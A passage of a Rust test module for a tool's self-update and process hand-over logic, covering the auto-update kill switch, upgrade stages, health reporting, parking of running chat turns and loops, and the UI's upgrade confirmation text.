15022 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
15023 }
15024 assert!(
15025 !killed,
15026 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
15027 one-time startup check"
15028 );
15029
15030 assert!(should_spawn_recheck(&crate::config::Update {
15031 mode: UpdateMode::Notify,
15032 interval: None,
15033 }));
15034 }
15035
15036 #[test]
15042 fn recheck_poll_period_tracks_a_short_configured_interval() {
15043 let short = crate::config::Update {
15044 mode: UpdateMode::Notify,
15045 interval: Some("1m".to_owned()),
15046 };
15047 let period = recheck_poll_period(&short);
15048 assert!(
15049 period <= Duration::from_secs(30),
15050 "a one-minute interval must wake the task far sooner than the \
15051 default ceiling, or the deck would not notice within the \
15052 interval the operator configured: got {period:?}"
15053 );
15054
15055 let default = crate::config::Update {
15056 mode: UpdateMode::Notify,
15057 interval: None,
15058 };
15059 assert_eq!(
15060 recheck_poll_period(&default),
15061 UPDATE_RECHECK_POLL_MAX,
15062 "the default day-long interval should poll at the (capped) \
15063 ceiling rather than needlessly often"
15064 );
15065 }
15066
15067 #[test]
15075 fn recheck_skips_the_network_before_the_interval_elapses() {
15076 let dir = TempDir::new().expect("temp dir");
15077 let path = dir.path().join("state.json");
15078 let state = kaishin::UpdateCheckState {
15079 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
15080 last_known_latest: None,
15081 last_known_url: None,
15082 };
15083 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
15084
15085 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
15086 assert!(
15087 !update_recheck_due(&checker, None),
15088 "a check made moments ago must not be repeated before the \
15089 configured interval elapses"
15090 );
15091 }
15092
15093 #[test]
15099 fn recheck_defers_to_an_upgrade_already_in_flight() {
15100 let dir = TempDir::new().expect("temp dir");
15101 let path = dir.path().join("state.json");
15102 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
15103 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
15104
15105 assert!(
15106 !update_recheck_due(&checker, Some(&progress)),
15107 "a recheck must not run while an upgrade this deck started is \
15108 still moving"
15109 );
15110 }
15111
15112 #[tokio::test]
15113 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
15114 unsafe {
15126 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
15127 }
15128 let fx = Fixture::start().await;
15129 let res = fx.post("/api/upgrade", None).await;
15130 unsafe {
15131 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
15132 }
15133 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
15134 let body = res.json();
15135 assert!(body["to"].is_null(), "there was no release to move to");
15136 assert!(body["parked"].is_null(), "and nothing was parked");
15137 assert!(
15138 body["detail"]
15139 .as_str()
15140 .unwrap()
15141 .contains("disabled by MAGI_NO_AUTOUPDATE"),
15142 "{body:?}"
15143 );
15144 }
15145
15146 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
15147 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
15148 p.stage = stage;
15149 p
15150 }
15151
15152 #[test]
15153 fn busy_stages_match_the_ui_set() {
15154 use crate::updater::Stage;
15155 assert!(APP_JS.contains(
15156 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
15157 ));
15158 for s in [
15159 Stage::Downloading,
15160 Stage::Replaced,
15161 Stage::Parking,
15162 Stage::Restarting,
15163 ] {
15164 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
15165 }
15166 for s in [Stage::Done, Stage::Failed] {
15167 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
15168 }
15169 assert!(upgrade_in_motion(None).is_none());
15170 }
15171
15172 #[tokio::test]
15173 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
15174 use crate::updater::Stage;
15175 for stage in [
15176 Stage::Downloading,
15177 Stage::Replaced,
15178 Stage::Parking,
15179 Stage::Restarting,
15180 ] {
15181 let fx = Fixture::start().await;
15182 let seeded = seeded_progress(stage);
15183 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
15184 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
15185 .expect("read");
15186
15187 let res = fx.post("/api/upgrade", None).await;
15188 assert_eq!(res.status, 409, "{stage:?}");
15189 let err = res.json()["error"].as_str().unwrap().to_owned();
15190 assert!(err.contains("already in progress"), "{err}");
15191 assert!(err.contains(stage.as_str()), "{err}");
15192
15193 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
15194 .expect("read");
15195 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
15196 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
15197 .unwrap_or_default();
15198 assert!(!log.contains("signalling HANDOVER"), "{log}");
15199 }
15200 }
15201
15202 #[tokio::test]
15203 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
15204 use crate::updater::Stage;
15205 let repo = TempDir::new().expect("repo dir");
15206 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
15207 .expect("write magi.toml");
15208 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
15209 for stage in [Stage::Done, Stage::Failed] {
15210 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
15211 let res = fx.post("/api/upgrade", None).await;
15212 assert_eq!(res.status, 200, "{stage:?}");
15213 }
15214 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
15216 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
15217 }
15218
15219 #[tokio::test]
15220 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
15221 let repo = TempDir::new().expect("repo dir");
15237 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
15238 .expect("write magi.toml");
15239 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
15240
15241 let res = fx.post("/api/upgrade", None).await;
15247 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
15248 let body = res.json();
15249 assert!(body["to"].is_null(), "there was no release to move to");
15250 assert!(body["parked"].is_null(), "and nothing was parked");
15251 assert!(
15252 body["detail"]
15253 .as_str()
15254 .unwrap()
15255 .contains("nothing restarted"),
15256 "{body:?}"
15257 );
15258 }
15259
15260 #[tokio::test]
15261 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
15262 let repo = TempDir::new().expect("repo dir");
15267 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
15268 .expect("write magi.toml");
15269 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
15270
15271 let health = fx.get("/api/health").await.json();
15272 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
15273 assert_eq!(
15274 health["update"]["available"], false,
15275 "checking is off, which reads as \"unknown\", not \"none\""
15276 );
15277 assert!(health["update"]["to"].is_null());
15278 assert!(
15279 health["upgrade"].is_null(),
15280 "nothing has ever asked this deck to upgrade"
15281 );
15282 }
15283
15284 #[tokio::test]
15285 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
15286 let fx = Fixture::start().await;
15287 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
15288
15289 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15290 progress.parked_run = Some("20260905-000000-cd51".to_owned());
15291 progress.advance(crate::updater::Stage::Parking);
15292 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15293
15294 let health = fx.get("/api/health").await.json();
15295 assert_eq!(health["upgrade"]["stage"], "parking");
15296 assert_eq!(health["upgrade"]["from"], "0.5.1");
15297 assert_eq!(health["upgrade"]["to"], "0.5.2");
15298 let waiting_on = health["upgrade"]["waiting_on"]
15299 .as_str()
15300 .expect("waiting_on is set while parking a known run");
15301 assert!(waiting_on.contains("cd51"), "{waiting_on}");
15302 assert!(waiting_on.contains("implementing"), "{waiting_on}");
15303 }
15304
15305 #[tokio::test]
15306 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
15307 let fx = Fixture::start().await;
15308 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15309 progress.advance(crate::updater::Stage::Done);
15310 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15311
15312 let health = fx.get("/api/health").await.json();
15313 assert_eq!(health["upgrade"]["stage"], "done");
15314 assert!(
15315 health["upgrade"]["waiting_on"].is_null(),
15316 "nothing to wait on once it is done"
15317 );
15318 }
15319
15320 #[tokio::test]
15321 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
15322 let home = TempDir::new().expect("temp home");
15323 let runs = home.path().join("runs");
15324 std::fs::create_dir_all(&runs).expect("runs dir");
15325 let ui = Ui::new(
15326 Queue::at(home.path().join("queue")),
15327 Questions::at(home.path().join("questions")),
15328 Talks::at(home.path().join("talks")),
15329 runs,
15330 home.path().to_path_buf(),
15331 PathBuf::from("/repo/magi"),
15332 )
15333 .with_launch(launch_idle);
15334 let looping = ui.looping();
15335 let turns = ui.turns();
15336 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15337 .await
15338 .expect("bind loopback");
15339 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15340
15341 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15342 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15343
15344 hand_over(
15345 home.path(),
15346 &looping,
15347 &turns,
15348 &|_: &[String]| Duration::from_secs(5),
15349 served,
15350 |_| Ok(1),
15351 )
15352 .await
15353 .expect("hand over");
15354
15355 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
15356 assert_eq!(
15357 after.stage,
15358 crate::updater::Stage::Restarting,
15359 "hand_over owns the record through parking and up to restarting; \
15360 the successor is what finishes it"
15361 );
15362 }
15363
15364 #[tokio::test]
15367 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
15368 for fail in [false, true] {
15369 let home = TempDir::new().expect("temp home");
15370 let ui = idle_ui(&home);
15371 let looping = ui.looping();
15372 let turns = ui.turns();
15373 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15374 .await
15375 .expect("bind loopback");
15376 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15377 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15378 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15379
15380 let calls = std::sync::atomic::AtomicUsize::new(0);
15381 let outcome = hand_over(
15382 home.path(),
15383 &looping,
15384 &turns,
15385 &|_: &[String]| Duration::from_secs(5),
15386 served,
15387 |_| {
15388 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15389 if fail {
15390 anyhow::bail!("no exec")
15391 } else {
15392 Ok(4242)
15393 }
15394 },
15395 )
15396 .await;
15397 assert_eq!(outcome.is_err(), fail);
15398 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15399
15400 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
15401 .expect("upgrade.log is written under the home");
15402 for step in [
15403 "entered",
15404 "finish_loop",
15405 "listener released",
15406 "starting the successor",
15407 ] {
15408 assert!(log.contains(step), "missing `{step}` in:\n{log}");
15409 }
15410 assert!(
15411 log.contains(if fail { "did not start" } else { "pid 4242" }),
15412 "{log}"
15413 );
15414 }
15415 }
15416
15417 #[tokio::test]
15420 async fn the_handover_signal_wakes_one_waiter_once() {
15421 let signal = Notify::new();
15422 signal.notify_one();
15424 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
15425 .await
15426 .expect("an early signal is still seen");
15427 assert!(
15429 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
15430 .await
15431 .is_err(),
15432 "a consumed signal must not wake a second time"
15433 );
15434 let signal = std::sync::Arc::new(signal);
15436 let waiter = tokio::spawn({
15437 let signal = std::sync::Arc::clone(&signal);
15438 async move { wait_for_handover(&signal).await }
15439 });
15440 tokio::time::sleep(Duration::from_millis(20)).await;
15441 assert!(!waiter.is_finished(), "nothing was signalled yet");
15442 signal.notify_one();
15443 tokio::time::timeout(Duration::from_secs(5), waiter)
15444 .await
15445 .expect("a late signal wakes the waiter")
15446 .expect("join");
15447 }
15448
15449 #[tokio::test]
15450 async fn health_says_how_long_a_handover_has_been_stuck() {
15451 let fx = Fixture::start().await;
15452 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15453 progress.advance(crate::updater::Stage::Replaced);
15454 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
15455 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15456
15457 let health = fx.get("/api/health").await.json();
15458 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
15459 assert!(stuck >= 600, "{stuck}");
15460 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
15461 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
15462 }
15463
15464 #[tokio::test]
15465 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
15466 let home = tempfile::tempdir().expect("temp home");
15467 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15468 progress.advance(crate::updater::Stage::Parking);
15469 crate::updater::write_progress(home.path(), &progress).expect("seed");
15470 let mut again = progress.clone();
15472 again.advance(crate::updater::Stage::Replaced);
15473 crate::updater::write_progress(home.path(), &again).expect("replaced");
15474 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15475 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
15476 let after = crate::updater::read_progress(home.path()).expect("record");
15477 assert_eq!(after.stage, crate::updater::Stage::Parking);
15478 }
15479
15480 #[tokio::test]
15481 async fn health_does_not_call_a_live_parking_wait_stuck() {
15482 let fx = Fixture::start().await;
15483 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15484 progress.parked_run = Some("20260905-000000-cd51".to_owned());
15485 progress.advance(crate::updater::Stage::Parking);
15486 let hours = Duration::from_secs(3 * 3600);
15487 progress.started_at = Timestamp::now() - hours;
15488 progress.updated_at = Timestamp::now() - hours;
15489 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15490 let _lease = crate::updater::LeaseGuard::enter(
15491 fx.home.path(),
15492 Some("20260905-000000-cd51".to_owned()),
15493 );
15494
15495 let health = fx.get("/api/health").await.json();
15496 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
15497 assert!(health["upgrade"]["stuck_kind"].is_null());
15498 assert_eq!(health["upgrade"]["handover_alive"], true);
15499 let waiting_on = health["upgrade"]["waiting_on"]
15500 .as_str()
15501 .expect("waiting_on");
15502 assert!(waiting_on.contains("cd51"), "{waiting_on}");
15503 }
15504
15505 fn idle_ui(home: &TempDir) -> Ui {
15506 let runs = home.path().join("runs");
15507 std::fs::create_dir_all(&runs).expect("runs dir");
15508 Ui::new(
15509 Queue::at(home.path().join("queue")),
15510 Questions::at(home.path().join("questions")),
15511 Talks::at(home.path().join("talks")),
15512 runs,
15513 home.path().to_path_buf(),
15514 PathBuf::from("/repo/magi"),
15515 )
15516 .with_launch(launch_idle)
15517 }
15518
15519 async fn park_fixture(
15520 home: &TempDir,
15521 ) -> (
15522 Ui,
15523 Arc<Mutex<LoopState>>,
15524 Arc<Mutex<TalkTurns>>,
15525 tokio::task::JoinHandle<std::io::Result<()>>,
15526 ) {
15527 let ui = idle_ui(home);
15528 let looping = ui.looping();
15529 let turns = ui.turns();
15530 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15531 .await
15532 .expect("bind loopback");
15533 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
15534 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15535 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15536 (ui, looping, turns, served)
15537 }
15538
15539 #[tokio::test]
15543 async fn hand_over_waits_for_a_running_chat_turn() {
15544 let home = TempDir::new().expect("temp home");
15545 let (ui, looping, turns, served) = park_fixture(&home).await;
15546 let ui = Arc::new(ui);
15547 let id = "20260901-000000-chat";
15548 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15549
15550 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
15551 let handover = tokio::spawn({
15552 let home = home.path().to_path_buf();
15553 let turns = Arc::clone(&turns);
15554 let calls = Arc::clone(&calls);
15555 async move {
15556 hand_over(
15557 &home,
15558 &looping,
15559 &turns,
15560 &|_: &[String]| Duration::from_secs(60),
15561 served,
15562 move |_| {
15563 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15564 Ok(1)
15565 },
15566 )
15567 .await
15568 }
15569 });
15570
15571 let waiting = async {
15572 for _ in 0..200 {
15573 if crate::updater::read_progress(home.path())
15574 .is_some_and(|p| p.parked_talks == [id.to_owned()])
15575 {
15576 return;
15577 }
15578 tokio::time::sleep(Duration::from_millis(25)).await;
15579 }
15580 panic!("the park never named the chat turn");
15581 };
15582 waiting.await;
15583 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15584
15585 let refused = ui.begin_talk_turn("20260901-000000-late").err();
15588 assert!(
15589 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
15590 "a direct start says an upgrade is in progress"
15591 );
15592 assert!(
15593 ui.begin_queued_talk_turn("20260901-000000-late")
15594 .expect("queued claim")
15595 .is_none()
15596 );
15597 assert!(matches!(
15598 ui.begin_talk_turn_unless_pending("20260901-000000-late")
15599 .expect("start"),
15600 TalkTurnStart::Busy
15601 ));
15602 assert_eq!(turns.lock().unwrap().live.len(), 1);
15603
15604 let progress = crate::updater::read_progress(home.path()).expect("progress");
15606 let view = upgrade_progress_view(&ui, progress);
15607 assert!(
15608 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
15609 "{:?}",
15610 view.waiting_on
15611 );
15612
15613 assert!(!handover.is_finished());
15614 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15615 drop(turn);
15616 handover.await.expect("join").expect("hand over");
15617 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15618 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
15619 }
15620
15621 #[tokio::test]
15624 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
15625 let home = TempDir::new().expect("temp home");
15626 let (ui, looping, turns, served) = park_fixture(&home).await;
15627 let ui = Arc::new(ui);
15628 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
15630 lock_or_recover(&looping).live = Some(Live {
15631 stop: daemon::Stop::new(),
15632 handle: tokio::spawn(async move {
15633 let _ = loop_ended.await;
15634 }),
15635 opts: daemon::Opts::default(),
15636 });
15637
15638 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
15639 let handover = tokio::spawn({
15640 let home = home.path().to_path_buf();
15641 let turns = Arc::clone(&turns);
15642 let calls = Arc::clone(&calls);
15643 async move {
15644 hand_over(
15645 &home,
15646 &looping,
15647 &turns,
15648 &|_: &[String]| Duration::from_secs(60),
15649 served,
15650 move |_| {
15651 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15652 Ok(1)
15653 },
15654 )
15655 .await
15656 }
15657 });
15658
15659 let reached = async {
15660 for _ in 0..200 {
15661 if crate::updater::read_progress(home.path())
15662 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
15663 {
15664 return;
15665 }
15666 tokio::time::sleep(Duration::from_millis(25)).await;
15667 }
15668 panic!("the hand-over never reached parking");
15669 };
15670 reached.await;
15671
15672 assert!(!turns.lock().unwrap().parking);
15674 let turn = ui
15675 .begin_talk_turn("20260901-000000-chat")
15676 .expect("claim")
15677 .expect("a turn can start while the loop parks");
15678
15679 end_loop.send(()).expect("loop still waiting");
15681 for _ in 0..200 {
15682 if turns.lock().unwrap().parking {
15683 break;
15684 }
15685 tokio::time::sleep(Duration::from_millis(25)).await;
15686 }
15687 assert!(
15688 turns.lock().unwrap().parking,
15689 "closed once the loop is done"
15690 );
15691 let refused = ui.begin_talk_turn("20260901-000000-late").err();
15692 assert!(
15693 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
15694 "no turn starts once the loop is done"
15695 );
15696 assert!(
15697 ui.begin_queued_talk_turn("20260901-000000-late")
15698 .expect("queued claim")
15699 .is_none()
15700 );
15701 assert!(!handover.is_finished());
15702 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15703
15704 drop(turn);
15705 handover.await.expect("join").expect("hand over");
15706 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15707 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
15708 }
15709
15710 #[tokio::test]
15713 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
15714 let home = TempDir::new().expect("temp home");
15715 let (ui, looping, turns, served) = park_fixture(&home).await;
15716 let id = "20260901-000000-stuk";
15717 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15718
15719 let calls = std::sync::atomic::AtomicUsize::new(0);
15720 hand_over(
15721 home.path(),
15722 &looping,
15723 &turns,
15724 &|_: &[String]| Duration::from_millis(300),
15725 served,
15726 |_| {
15727 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15728 Ok(1)
15729 },
15730 )
15731 .await
15732 .expect("hand over");
15733 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15734
15735 let progress = crate::updater::read_progress(home.path()).expect("progress");
15736 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
15737 assert!(
15738 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
15739 "{:?}",
15740 progress.detail
15741 );
15742 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
15743 assert!(
15744 log.contains("handing over anyway") && log.contains(id),
15745 "{log}"
15746 );
15747 }
15748
15749 #[tokio::test]
15752 async fn drain_loop_starts_no_turn_while_parking() {
15753 let tmp = TempDir::new().expect("tempdir");
15754 let repo = tmp.path().join("repo");
15755 std::fs::create_dir_all(&repo).expect("repo dir");
15756 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15757 let home = TempDir::new().expect("temp home");
15758 let talks = Talks::at(home.path().join("talks"));
15759 let ui = Ui::new(
15760 Queue::at(home.path().join("queue")),
15761 Questions::at(home.path().join("questions")),
15762 talks.clone(),
15763 home.path().join("runs"),
15764 home.path().to_path_buf(),
15765 repo.clone(),
15766 )
15767 .with_worktrees_root(home.path().join("wt"));
15768 let cfg = config_for(&repo).await.expect("discover config");
15769 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15770 let id = talk.id.clone();
15771 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
15772 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
15773 let turns = ui.turns();
15774 let parking = ParkingTurns::begin(&turns);
15775
15776 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
15777
15778 assert!(
15779 turns.lock().unwrap().live.is_empty(),
15780 "the slot is given up"
15781 );
15782 let fresh = talks.get(&id).expect("talk");
15783 assert_eq!(fresh.pending, "later", "the draft is still queued");
15784 assert!(fresh.turns.is_empty(), "no turn ran");
15785 drop(parking);
15786 }
15787
15788 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
15790 let looping = ui.looping();
15791 let turns = ui.turns();
15792 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15793 .await
15794 .expect("bind loopback");
15795 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15796 let told = std::sync::Mutex::new(None);
15797 hand_over(
15798 home.path(),
15799 &looping,
15800 &turns,
15801 &|_: &[String]| Duration::from_secs(5),
15802 served,
15803 |resume| {
15804 *told.lock().unwrap() = Some(resume);
15805 Ok(1)
15806 },
15807 )
15808 .await
15809 .expect("hand over");
15810 told.into_inner().unwrap().expect("successor was started")
15811 }
15812
15813 #[tokio::test]
15814 async fn a_running_loop_is_resumed_by_the_successor() {
15815 let home = TempDir::new().expect("temp home");
15816 let ui = idle_ui(&home);
15817 ui.start_loop(None).expect("start");
15818 ui.park_for_upgrade().expect("park");
15819 for _ in 0..500 {
15821 if !ui.loop_view(None).running {
15822 break;
15823 }
15824 tokio::time::sleep(Duration::from_millis(2)).await;
15825 }
15826 assert!(handed_over(&home, ui).await, "a running loop must resume");
15827
15828 let successor = idle_ui(&home);
15829 assert!(!successor.loop_view(None).running);
15830 assert!(successor.resume_after_handover(true));
15831 assert!(successor.loop_view(None).running);
15832 successor.stop_loop(None, false).expect("stop");
15833 }
15834
15835 #[tokio::test]
15836 async fn a_second_upgrade_request_keeps_the_resume_intent() {
15837 let home = TempDir::new().expect("temp home");
15838 let ui = idle_ui(&home);
15839 ui.start_loop(None).expect("start");
15840 ui.park_for_upgrade().expect("first park");
15841 ui.park_for_upgrade().expect("second park");
15842 assert!(handed_over(&home, ui).await);
15843 }
15844
15845 #[tokio::test]
15846 async fn a_stop_during_the_handover_wait_is_honoured() {
15847 let home = TempDir::new().expect("temp home");
15848 let ui = idle_ui(&home);
15849 ui.start_loop(None).expect("start");
15850 ui.park_for_upgrade().expect("park");
15851 ui.stop_loop(None, false).expect("stop");
15852 assert!(!handed_over(&home, ui).await);
15853 }
15854
15855 #[tokio::test]
15856 async fn an_idle_loop_stays_stopped_across_the_handover() {
15857 let home = TempDir::new().expect("temp home");
15858 let ui = idle_ui(&home);
15859 ui.park_for_upgrade().expect("park");
15860 assert!(!handed_over(&home, ui).await);
15861
15862 let successor = idle_ui(&home);
15863 assert!(!successor.resume_after_handover(false));
15864 assert!(!successor.loop_view(None).running);
15865 }
15866
15867 #[tokio::test]
15868 async fn a_loop_the_operator_stopped_is_not_resumed() {
15869 let home = TempDir::new().expect("temp home");
15870 let ui = idle_ui(&home);
15871 ui.start_loop(None).expect("start");
15872 ui.stop_loop(None, false).expect("stop");
15873 ui.park_for_upgrade().expect("park");
15874 assert!(!handed_over(&home, ui).await);
15875 }
15876
15877 #[test]
15878 fn only_an_explicit_one_requests_a_resume() {
15879 assert!(!resume_requested(None));
15880 assert!(!resume_requested(Some("0".into())));
15881 assert!(!resume_requested(Some("".into())));
15882 assert!(resume_requested(Some("1".into())));
15883 }
15884
15885 #[test]
15886 fn the_upgrade_button_arms_before_it_restarts_anything() {
15887 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
15890 assert!(APP_JS.contains("Replace the binary and restart?"));
15891 assert!(APP_JS.contains("function confirmed("));
15892 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
15897 assert!(
15901 APP_JS.contains("Parking, then restarting"),
15902 "the button says what it is waiting for"
15903 );
15904 assert!(APP_JS.contains("if (!out.to)"));
15907 }
15908
15909 #[test]
15910 fn stopping_the_loop_arms_but_starting_does_not() {
15911 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
15914 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
15915 assert!(APP_JS.contains("confirmed(button, question)"));
15916 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
15919 assert!(APP_JS.contains("const label = btn.textContent;"));
15920 assert!(!APP_JS.contains("Neither direction is guarded"));
15921 }
15922
15923 #[test]
15924 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
15925 assert!(
15926 APP_JS.contains("state.health.version"),
15927 "the operator wants to know what is running even with nothing newer"
15928 );
15929 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
15930 }
15931
15932 #[test]
15933 fn the_upgrade_button_names_its_destination() {
15934 assert!(
15935 APP_JS.contains("`Update to ${update.to}`"),
15936 "pressing the button should not be a surprise about what it moves to"
15937 );
15938 }
15939
15940 #[test]
15941 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
15942 for stage in ["downloading", "replaced", "parking", "restarting"] {
15943 assert!(
15944 APP_JS.contains(&format!("\"{stage}\"")),
15945 "the phone must be able to tell {stage} apart from the others"
15946 );
15947 }
15948 assert!(APP_JS.contains(".waiting_on"));
15949 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
15954 assert!(APP_JS.contains("reconnects on its own"));
15955 }
15956
15957 #[test]
15958 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
15959 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
15968 ..APP_JS.find("function upgrade(").expect("upgrade")];
15969 assert!(
15970 !body.contains(
15971 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
15972 ),
15973 "a failed upgrade must not take the whole strip over the way it used to"
15974 );
15975 assert!(
15976 body.contains("upgradeFailNote"),
15977 "the failure has to reach the loop's own note instead"
15978 );
15979 assert_eq!(
15983 body.matches("upgradeFailNote].filter(Boolean).join")
15984 .count(),
15985 2,
15986 "both loop-why writers (quiet and control) must fold the note in"
15987 );
15988 }
15989
15990 #[test]
15991 fn an_overdue_upgrade_eventually_asks_for_a_human() {
15992 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
15995 assert!(APP_JS.contains("function upgradeOverdue("));
15996 }
15997
15998 #[test]
15999 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
16000 assert!(
16001 APP_JS.contains("Updated to ${upgradeInfo.to"),
16002 "the operator who asked for the restart wants to know it worked"
16003 );
16004 }
16005
16006 #[test]
16007 fn an_error_is_visible_from_where_the_button_is() {
